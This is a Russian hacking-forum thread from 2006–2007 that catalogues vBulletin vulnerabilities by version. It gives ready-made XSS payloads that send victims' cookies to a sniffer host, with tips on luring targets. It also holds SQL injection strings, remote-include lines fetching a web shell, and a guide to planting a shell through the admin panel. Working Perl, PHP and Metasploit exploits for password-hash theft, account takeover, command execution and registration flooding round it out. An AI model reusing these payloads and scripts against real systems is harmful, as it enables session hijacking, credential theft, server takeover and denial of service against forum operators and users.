PDA

Просмотр полной версии : [Обзор уязвимостей vBulletin]


bandera
19.08.2006, 14:31
На форуме есть обзоры уязвимостей ipb и phpbb, я решил сделать обзор уязвимостей vBulletin-). Итак начну.
Рассмотрим уязвимости трёх веток воблы: 2.*.*, 3.0.* и 3.1.*.

Узнаём версию форума.

В папке /clientscript/ находятся несколко js и css файлов в которых можно посмотреть точную версию форума.vbulletin_ajax_threadslist.js
vbulletin_ajax_namesugg.js
vbulletin_attachment.js
vbulletin_cpcolorpicker.js
vbulletin_editor.jsПример:www.xz.сom/forumpath/clientscript/vbulletin_editor.css


vBulletin 2

2.2.* - 2.2.4 - Выполнение произвольного кода
Описание уязвимости: уязвимость в vBulletin's Calendar PHP сценарии (calender.php) позволяет удаленному атакующему выполнять произвольный код в контексте пользователя 'nobody'.
Exploit: http://www.securitylab.ru/vulnerability/source/207147.php


2.3.* - SQL injection
Описанте уязвимости: уязвимость в проверке правильности входных данных в 'calendar.php'. Удаленный пользователь может внедрить произвольные SQL команды.
Пример: www.xz.сom/forumpath/calendar.php?s=&action=edit&eventid=14 union (SELECT allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events WHERE eventid = 14) order by eventdate

2.*.* - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки тэга email.
Exploit: [E*MAIL]aaa@aaa.aa"'s='[/E*MAIL]' sss="i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null" style=top:expression(eval(this.sss));
Video: http://video.antichat.ru/file57.html





vBulletin 3.0

3.0.0 - XSS
Описание уязвимости: уязвимость существует в сценарии search.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример: www.xz.сom/forumpath//search.php?do=process&showposts=0&query=<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>

3.0-3.0.4 - Выполнение произвольных команд
Описание уязвимости: уязвимость существует в сценарии forumdisplay.php из-за некорректной обработки глобальных переменных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные команды на системе.
Пример: www.xz.сom/forumpath/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."
О командах читать здесь: http://forum.antichat.ru/threadnav7345-1-10.html

3.0.3–3.0.9 XSS
Описание уязвимости: уязвимость существует при обработке входных данных в поле Статус. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Примечание: менять свой статус по умолчанию может только администрация, начиная от группы Модераторы.
Пример: <body onLoad=img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;>

3.0.9 and 3.5.4 - XSS
Описание уязвимости: звимость существует из-за недостаточной обработки входных данных в параметре posthash в сценарии newthread.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример: www.xz.сom/forumpath/newthread.php?do=newthread&f=3&subject=1234&WYSIWYG_HTML=%3Cp%3E%3C%2Fp%3E&s=&f=3&do=postthread&posthash=c8d3fe38b082b6d3381cbee17f1f1aca&poststarttime='%2Bimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%2B'&sbutton=%D1%EE%E7%E4%E0%F2%FC+%ED%EE%E2%F3%FE+%F2% E5%EC%F3&parseurl=1&disablesmilies=1&emailupdate=3&postpoll=yes&polloptions=1234&openclose=1&stickunstick=1&iconid=0




vBulletin 3.5

3.5.2 - XSS
Описание уязвимости: Уязвимость существует при обработке входных данных в поле "title" в сценарии "calendar.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример: TITLE:--------->Test<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
BODY:---------->No matter
OTHER OPTIONS:->No matter
Пояснение: заходим в календарь, жмём создать новое событие, и в заголовке прописываем <script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>, смотрим ссылку на наше событие и впариваем её тому у кого хотим украсть cookie.

3.5.3 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в поле "Email Address" в модуле "Edit Email & Password". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Примечание: удачная эксплуатация уязвимости возможна при включенных опциях "Enable Email features" и "Allow Users to Email Other Member".
Пример: www.xz.сom/forumpath/profile.php?do=editpassword
pass:your pass
email: vashe@milo.com”><script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>.nomatt
Note About lenght limitation
****
forum/profile.php?do=editoptions
Receive Email from Other Members=yes
****
www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}
Пояснение: заходим в профиль и в поле email прописываем vashe@milo.com”><script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>.nomatt. Cохраняем. Потом ставим в опциях свой емайл видимым для всех. Теперь втравливаем кому нибудь ссылку www.xz.сom/forumpath/sendmessage.php?do=mailmember&u={your id}, где {your id} ваш id. Cookie уйдут на снифер.

3.5.4 - Дамп БД
Описание уязвимости: уязвимость существует из-за недостаточного ограничения на доступ к сценарию upgrade_301.php в каталоге 'install'. Удаленный пользователь может с помощью специально сформированного URL сделать дамп базы данных приложения.
Пример: www.xz.com/forumpath/install/upgrade_301.php?step=SomeWord

3.5.4 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре url сценария inlinemod.php. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример: www.xz.сom/forumpath/inlinemod.php?do=clearthread&url=lala2%0d%0aContent-Length:%2033%0d%0a%0d%0a<html>Hacked!</html>%0d%0a%0d%0a





Уязвимости в модулях vBulletin.

vBug Tracker 3.5.1 - XSS
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "sortorder" сценария vbugs.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример: www.xz.сom/forumpath/vbugs.php?do=list&s=&textsearch=&vbug_typeid=0&vbug_statusid=0&vbug_severityid=0&vbug_versionid=0&assignment=0&sortfield=lastedit&sortorder=%22%3Cscript%3Eimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%3C/script%3E

ImpEx 1.74 - PHP-инклюдинг и выполнение команд
Описание уязвимости: уязвимость существует из-за недостаточной обработки входных данных в параметре "systempath" в сценарии ImpExData.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример: (1)
www.xz.сom/forumpath/impex/ImpExData.php?systempath=http://rst.void.ru/download/r57shell.txt
www.xz.сom/forumpath/impex/ImpExData.php?systempath=../../../../../../../../etc/passwd
(2)
www.site.com/forum/impex/ImpExModule.php?systempath=http://www.host_evil.com/cmd?&=id
(3)
www.site.com/forum/impex/ImpExController.php?systempath=http://www.host_evil.com/cmd?&=id
(4)
www.site.com/forum/impex/ImpExDisplay.php?systempath=http://www.host_evil.com/cmd?&=id

Exploit: http://www.securitylab.ru/vulnerability/source/264410.php

ibProArcade 2.x - SQL injection
Описание уязвимости: Уязвимость существует в модуле “Report” при обработке входных данных в параметре user сценария index.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.
Пример: www.xz.сom/forumpath/index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]
Где [any_user] id нужного нам юзера.



При использовании XSS c указанным в теме снифером. Логи смотреть тут: http://antichat.ru/sniff/log.php
Но лучше завести себе свой снифер -). Это можно сделать тут: http://antichat.ru/sniffer или тут: http://s.netsec.ru.





Шелл в vBulletin.

Разберёмся как залить шелл из админки воблы.


Способ заливки шелла в vBulletin 2.*.* и 3.0.*
1. Заходим в админку.
2. Смайлы.
3. Загрузить смайл.
4. Грузим наш шелл. (папка по умолчанию /images/smilies)
5. Заходим www.xz.сom/forumpath/images/smilies/shell.php
Примечание: сработает не везде.


Способ заливки шелла в vBulletin 3.5.*.
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда



Видео по теме:

http://video.antichat.ru/file105.html
http://video.antichat.ru/file95.html
http://video.antichat.ru/file57.html
http://video.antichat.ru/file3.html





З.Ы. Сильно не ругаться. Если где-то был не прав, исправляем, если что-то упустил, добавляем... Не стал вылаживать некоторые XSS т.к. версия форума у них повторяется...

flipper
13.11.2006, 14:38
еще дополнение:

Author: insanity
E-mail: insanity@darkers.com.br

XSS vBulletin 3.6.1 Admin Control Panel

http://www.exemplo.com/vbulletin/admincp/index.php?do=buildnavprefs&nojs=0&prefs="><script>alert("insanity")</script>
http://www.exemplo.com/vbulletin/admincp/index.php?do=savenavprefs&nojs=0&navprefs="><script>alert("insanity")</script>

LoneWolf666
16.11.2006, 19:36
www.xz.com/forumpath/install/upgrade_301.php?step=backup

вот это не стесняйтесь смело подставлять ко всей линейке 3.5.х, особливо к 3.5.1, проверено.

Уязвимы особенно нуленые версии vBulletin

Mr_Necromancer
27.12.2006, 09:03
VBulletin 3.6.4

Уязвимость позволяет удаленному злоумышленнику выполнить произвольный сценарий на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных при обработке входящих запросов. Атакующий может выполнить SWF произвольный сценарий и выкрасть данные аутентификации cookie.

Пример:

getURL("javascript:function blab(){}var scriptNode = +document.createElement('script'); document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='java script';scriptNode.src= 'http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie +;blab();");

Информация по эксплуатации уязвимости описана ниже
http://forum.antichat.ru/showpost.php?p=558935&postcount=28

Abra
02.01.2007, 18:30
В список "уязвимости модулей" не плохо было бы так же добавить дыру в моде TopXStats (Статистика Х лучших). Ее легко узнать - в низу форума есть таблица с послденимим затронутыми темами. лучшими авторами и .т.п, таблица так и называется "Статистика лучших".
Пару месяцев назад там нашли дыру - не было фильтрации выходных данных, вернее на выходе данные спокойно трансформировались в html
Достаточно создать тему в заголовке которой указать код редиректинга на свой сайт, и псевдодефейс готов. Через meta redirect например. Тогда с гл. страници пользователей будет перенаправлять на ваш дефейс.
Для дыры достаточно скоро был выложен патч на Vbulletin.net.ru , но не все его установили, и некоторые все еще ставят старую версию хака (не пропатченную). Так что флаг вам в руки.

Вместо meta redirect'a можно так же вставить сниффер, но поле "тема" имеет ограничение на кол-во символов, так что может не поместиться.

Mr_Necromancer
22.01.2007, 11:07
Вот прикольный эксплоит для флуда форума.
Конечно это не поможет при взломе. но всётаки достаточно серьёзный баг.


<?
set_time_limit(60);
//You can change 10 to other numbers
for($i = 1 ; $i <= 10 ; $i++)
{
//to put curl to send POST request
$ch = curl_init();
//change http://localhost/vb3 to the url of the script
curl_setopt($ch , CURLOPT_URL , 'http://localhost/vb3/register.php');
curl_setopt($ch , CURLOPT_POST , 1) ;
curl_setopt($ch , CURLOPT_POSTFIELDS , 'agree=1&s=&do=addmember&url=index.php&password_md5=&passwordconfirm_md5=&day=0&month=0&year=0&username=x-boy'.$i.'&password=elmehdi&passwordconfirm=elmehdi&email=dicomdk'.$i.'@gmail.com&emailconfirm=dicomdk'.$i.'@gmail.com&referrername=&timezoneoffset=(GMT -12:00) Eniwetok, Kwajalein&dst=DST corrections always on&options[showemail]=1');
curl_exec($ch);
curl_close($ch);
}
//Flood finished good luck
?>


Кстати видел данный эксплоит на перле, он реализован с помощю сокетов, работает гораздо быстрее (не показывает каждый раз форму регистрации), и соответственно кушает меньше трафика.

В принципе с помощю этого скрипта переполнить базу данных и остановить работу форума и даже сайта, т.к большинство хостеров ставят ограничение на обьём базы данных, достигнув который, в базу данных уже ничего нельзя будет записать, не почистив её.

Mr_Necromancer
09.02.2007, 14:46
Вот свеженький баг, сам не проверял.

Программа: vBulletin 3.x

Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных в поле формы «Extension» сценарием admincp/attachment.php. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Автор: semu
Дата: 08.02.2007 21:15:43

Чтобы юзать - должен быть доступ к админке, вобщем пригодиться конечно может в некоторых случаях.

Mr_Necromancer
09.02.2007, 15:50
Вот ещё для полноты темы:

Робит только vBulletin 3.0.0 Beta 2

Уязвимость в проверке правильности ввода обнаружена в vBulletin при просмотре честных сообщений. Удаленный пользователь может выполнить XSS нападение.

Сообщается, что сценарий private.php не фильтрует данные, представленные пользователем. Удаленный пользователь может сконструировать специально сформированную Web форму, которая, при загрузке в браузере пользователя, выполнить произвольный код сценария в браузере целевого пользователя в контексте vBulletin сайта. Пример: (требуется предварительная авторизация)

<html>
<body>
<form action="http://[victim]/forum/private.php" method="post" name="vbform">
<input type="hidden" name="do" value="insertpm" />
<input type="hidden" name="pmid" value="" />
<input type="hidden" name="forward" value="" />
<input type="hidden" name="receipt" value="0" />
<input type="text" class="bginput" name="title" value="" size="40" tabindex="2"/>
<textarea name="message" rows="20" cols="70" wrap="virtual" tabindex="3"></textarea>
<input type="submit" class="button" name="sbutton" value="Post Message" accesskey="s" tabindex="4" />
<input type="submit" class="button" value="Preview Message" access key="p" name="preview" onclick="this.form.dopreview = true; return true;this.form.submit()" tabindex="5">
<input type="checkbox" name="savecopy" value="1" id="cb_savecopy" checked="checked"/>
<input type="checkbox" name="signature" value="1" id="cb_signature" />
<input type="checkbox" name="parseurl" value="1" id="cb_parse url" checked="checked" />
<input type="checkbox" name="disablesmilies" value="1" id="cb_disablesmilies" />
</form>
<script>
//Set Values and Submit
// You can write your own JS codes
var xss = "\"><script>alert(document.cookie)<\/script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
</script>
</body>
</html>

Уязвимость обнаружена в vBulletin 3.0.0 Beta 2.

Mr_Necromancer
09.02.2007, 16:00
Помойму этого тоже не было ,если не ошибаюсь:

Программа: vBulletin 3.0.6 и более ранние версии

Уязвимость позволяет удаленному пользователю выполнить произвольные команды на уязвимой системе с привилегиями web-сервера. Уязвимость существует при обработке имен шаблонов в сценарии 'misc.php' при включенной опции 'Add Template Name in HTML Comments' (не является значением по умолчанию). Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный код на системе.

Пример:
http://[target]/misc.php?do=page&template={${phpinfo()}}

Этот и предыдущий пост хорошо-бы перенести в начало темы, к ранним версиям воблы.

+toxa+
01.03.2007, 20:14
vBulletin <= 3.6.4 inlinemod.php "postids" sql injection / privilege (Требуются привилегии супермодератора)
http://milw0rm.com/exploits/3387

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «postids» сценарием inlinemod.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

http://www.xakep.ru/post/36982/default.asp

Grey
02.03.2007, 17:56
Ссылки на темы связанные с безопастностью (уязвимостями) vBulletin.

Vbulletin 3.6.x:

Нападение XSS на Vbulletin 3.6.x для НОВИЧКОВ. (http://forum.antichat.ru/showthread.php?p=218347)

----------------------------------------------------------

Все сообщения не содержащие информационной ценности или не имеющие прямого отношения к теме удалены.

----------------------------------------------------------

Ещё раз напомню, что в этой теме обзор уязвимостей форума, сообщения не имеющие информационной ценности ("Немогли бы взглянуть на этот форум", "Подскажите версию" и т.д.) будут удаляться.

k1b0rg
11.03.2007, 19:04
Не смог найти тему куда выложить сплойт, выложил сюда, если что модеры перенесите.

Вообщем сплойт дёргает пароль у заданного юзера, если сплойт не остановить, то он этому юзеру еще и сменит пароль. Новый пароль из хеша состоит только из цифр размером 8 символов.


#!/usr/bin/perl

# Vbulletin module Petz with sql-injection.
# coded by k1b0rg(768620)
#
# This exploit changing your buyer.
# A new password consists of figures, the length of 8 and going to take a great brut of time(passwords pro);)
# If you do not need to change the password, simply stop exploit at the time of the removal of the password.
# Running exploit again sent two letters to the box. Be akkuratney.
# In the first test of vulnerability when sql error, the box webmaster sent a letter of error. Be akkuratney.
#
# dork: inurl:petz.php
#
# download module: http://dev.p3tz.com/
#
# Lamers go to жопа.
# exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1
#
# needly:
# mysql >=4
# magic_quotes off
# direct hands
#
# greets: antichat.ru mini-rinok.ru
#

use LWP::UserAgent;
use Getopt::Std;
use strict;
my %opts;

getopts("i:p:l:P:s:e:u:",\%opts);
my $url=$opts{u};
my $id=$opts{i} || 9107;
my $prefix=$opts{P} || '';
my $password1=$opts{p};
my $salt1=$opts{s};
my $length=$opts{l};
my $email1=$opts{e};


if(!$url || !$id)
{
echo('-------------------------FUCK YOU SPILBERG!----------------------');
echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
echo('exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1');
echo('-------------------------FUCK YOU SPILBERG!----------------------');
exit;
}




my $browser = LWP::UserAgent->new();
$browser->requests_redirectable([]);

echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
########check on vuln and getting prefix#######################################
echo('[\] Step 0: [Checking vuln]');
my $res=$browser->get($url.'petz.php?do=view&id=9995681\'');
if($res->content=~/Database error/i)
{
echo('[|] This script is vulnerable!!!!');
$res->content=~/LEFT JOIN (.*?)user/i;
echo('[/] Prefix is: ['.$1.']');
}
else
{
echo('[|] This script NOT vulnerable!!!!');
exit;
}




########password1################################# ######
echo('[-] Step 1: [getting password(one) user by id ['.$id.']');
echo('[\] Password(1): [');
if(!$password1)
{
for(1..32)
{
my $pos=$_;
for(48..57,97..103)
{
my $asc=$_;
if($asc==103) {echo('EXPLOIT FAILED]',0); exit;}
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( password,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); last; }
}
}
}
else
{
echo($password1,0);
}
echo(']',0);

########salt1##################################### ##
echo('[|] Step 2: [getting salt(one) user by id ['.$id.']');
echo('[-] Salt(1): [');
my $salt;
if(!$salt1)
{
for(1..3)
{
my $pos=$_;
for(33..126)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( salt,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $salt.=chr($asc); last; }
}
}
}
else
{
$salt=$salt1;
echo($salt,0);
}
echo(']',0);


########Checking email length#######################################
echo('[\] Step 3: [Checking email length ['.$id.']');
echo('[|] Email length: [');
my $num;
if(!$email1)
{
if(!$length)
{
for(6..32)
{
$num=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(length(email)='. $num.')/*');
if($res->content!~/Untrapped Error/is) {echo($num,0); last; }
}
}
else
{
$num=$length;
echo($num,0);
}
}
else
{
$num=length($email1);
echo($num,0);
}
echo(']',0);

########losting email#######################################
echo('[/] Step 4: [getting email user by id ['.$id.']');
echo('[-] Email: [');
my $email;
if(!$email1)
{
for(1..$num)
{
my $pos=$_;
for(48..57,64,97..122)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(lower(subs tring(email,'.$pos.',1)))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $email.=chr($asc); last; }
}
}
}
else
{
$email=$email1;
echo($email,0);
}
echo(']',0);

########lost_password############################# ##########
echo('[\] Step 5: [Losting password]');
$browser->post($url.'login.php',
[
email=>$email,
do=>'emailpassword'
]);

########losting activationid###################################### #
echo('[|] Step 7: [getting activationid user by id ['.$id.']');
echo('[/] activationid: [');
my $valid;
for(1..8)
{
my $pos=$_;
for(48..57)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' useractivation+WHERE+userid=\''.$id.'\'+and(ascii( substring(activationid,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $valid.=chr($asc); last; }
}
}
echo(']',0);


########lost_password############################# ##########
echo('[-] Step 8: [Losting password]');
$browser->get($url.'login.php?a=pwd&u='.$id.'&i='.$valid);


########password2################################# ######
echo('[\] Step 9: [getting password(two) user by id ['.$id.']');
echo('[|] Password(2): [');
my $newhash;
for(1..32)
{
my $pos=$_;
for(48..57,97..102)
{
my $asc=$_;
my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.' user+WHERE+userid=\''.$id.'\'+and(ascii(substring( password,'.$pos.',1))='.$asc.')/*');
if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $newhash.=chr($asc); last; }
}
}
echo(']',0);


echo('News hash && salt: ['.$newhash.':'.$salt.']');


sub echo{
my $text=shift;
my $param=shift;
my $razdel=($param eq 0)?'':"\n";
syswrite STDOUT,$razdel.$text;
}

freddi
17.04.2007, 21:10
vBulletin 3.6.2

Пассивная хсс

Уязвим параметр "id" скрипта "downloads.php"
Пример:
http://forum.asechka.ru/downloads.php?do=cat&id=5"><script>alert()</script>

freddi
29.04.2007, 17:53
vBulletin 3.0.7 - 3.6.2

Активная хсс

прикрепляем файл pdf созданный с содержанием:
<script>alert()</script>
и при открытии этого файла вылезает алерт.

этот способ работает в очень многих местах, также как и встраивание кода в картинку. минус этого способа, что не во всех местах можно прикреплять файлы.

Mr_Necromancer
18.05.2007, 11:27
Программа: vBulletin 3.5.2

http://www.securitylab.ru/vulnerability/source/243694.php

Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных в параметре «title» сценарием calendar.php. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

TITLE:--------->Test<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
BODY:---------->No matter
OTHER OPTIONS:->No matter

Пояснение: заходим в календарь, жмём создать новое событие, и в заголовке прописываем <script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>, смотрим ссылку на наше событие и впариваем её тому у кого хотим украсть cookie.

_GaLs_
23.05.2007, 12:21
vBulletin 3.0.10
SQL Injection

http://123.com/portal.php?id=54&a=viewfeature&featureid=99999/**/UNION/**/SELECT/**/0,1,2,3,4,username,6,7,8,9,10,11,12,password/**/from/**/user/**/where/**/userid=1/*

vBulletin 3.0.6

Command Execution Exploit (metasploit)

##
# Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
# Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
# Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
# - This is an exploit module for the Metasploit Framework, please see
# http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_vb3_0_6;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
'Name' => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'str0ke' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a code execution flaw in vBulletin <= 3.0.6.
}),

'Refs' =>
[
['MIL', '832'],
],

'Payload' =>
{
'Space' => 512,
'Keys' => ['cmd', 'cmd_bash'],
},

'Keys' => ['vBulletin'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $vhost = $self->GetVar('VHOST') || $target_host;
my $path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;

# Encode the command as a set of chr() function calls
my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

# Create the get request data
my $data = "?do=page&template={\${passthru($byte)}}";

my $req =
"GET $path$data HTTP/1.1\r\n".
"Host: $vhost:$target_port\r\n".
"Content-Type: application/html\r\n".
"Content-Length: ". length($data)."\r\n".
"Connection: Close\r\n".
"\r\n";

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError){
$self->PrintLine(' Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine(" Sending the malicious vBulletin Get request...");

$s->Send($req);

my $results = $s->Recv(-1, 20);
$s->Close();

return;
}

1;

vBulletin 3.0.4

Execute command
magic_quotes_gpc должен быть выключен

<?php
if (!(function_exists('curl_init'))) {
echo "cURL extension required\n";
exit;
}

if ($argv[3]){
$url = $argv[1];
$forumid = intval($argv[2]);
$command = $argv[3];
}
else {
echo "vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n";
echo "Usage: ".$argv[0]." <url> <forumid> <command> [proxy]\n\n";
echo "<url> url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n";
echo "<forumid> forum id\n";
echo "<command> command to execute on server (ex: 'ls -la')\n";
echo "[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n";
echo "ex :\n";
echo "\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\"";

exit;
}

if ($argv[4])
$proxy = $argv[4];



$action = 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."';

$ch=curl_init();
if ($proxy){
curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.'/'.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
$res = substr($res, strpos($res, '_START_')+7);
$res = substr($res,0, strpos($res, '_END_'));
echo $res;
?>

Shram-spb
05.07.2007, 19:52
Вот что нашел.. Чтобы узнать версию форума.. иногда помогает..
http://domain/forum/install/finalupgrade.php
И видим версию форума :)

M0rgan
08.07.2007, 17:01
тут вроде бы не звучало еще 2 ХССки...
не знаю точно в каких версиях но на 3.6.2 и 3.6.4 помоему работало...

В первом случае надо быть модератором (иметь право банить) и надо чтоб на форуме при бане было поле "причина"
вот само поле "причина" и есть уязвимым... ищем жертву для бана и в причине вписываем
Забанен за флуд <script>img = new Image(); img.src = "http://somesite.#ru/vash sniffer.jpg?"+document.cookie;</script>
теперь допустим хотим словить админа - скажите пусть зайдет посмотрит почему забанен пользователь или попросить разбанить из-за ошибки ( в общем придумать причину не тяжело) )

Во втором случае надо иметь возможность менять себе "Особый статус" и поддержку хтмл...
Мой титул <script>img = new Image(); img.src = "http://somesite.#ru/vash sniffer.jpg?"+document.cookie;</script>
А там думаю загадочного нечего нету ))
но это испытывал всего один раз... надо быть или знакомым админа или еще какието обстоятельство ))

_На некоторых сайтах стоит фикс типа ограничения колиества символов в строке )

--------------------------------------------------------------------


Добавленно от BlackCats (фактически тоже самое инфа про версию другая):

3.6.8 Patch.Level 1

active xss:
если вы модератор на форуме, то при бане в поле "причина бана" указываете ваш скрипт, и он сработает:
при просмотре забаненых пользователей через:

модпанель(например туда может зайти СуперМодератор)

админ панель(админ)

когда зайдёт юзер в свой акк(сам юзер)


clientscript/ieprompt.html
какойто недописанный скрипт.

global.php или arhive/global.php
в некоторых случаях
раскрытие путей

gemaglabin
13.07.2007, 05:14
Активная xss в популярном теге для булки - google и googlevideo

[U*RL=/onmouseover=alert(1);a="]213[/U*RL][/google*video]123
[google][U*RL=/onmouseover=alert(1);a="]213[/U*RL]123

v1d0qz
15.08.2007, 12:56
vBulletin v3.6.5
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Пример:
[site]/vb/includes/functions.php?classfile=[Shell-Attack]
[site]/vb/includes/functions_cron.php?nextitem=[Shell-Attack]
[site]/vb/includes/functions_forumdisplay.php?specialtemplates=[Shell-Attack]


vBulletin V3.6.8
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных во множестве сценариев множеством параметров. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Пример:
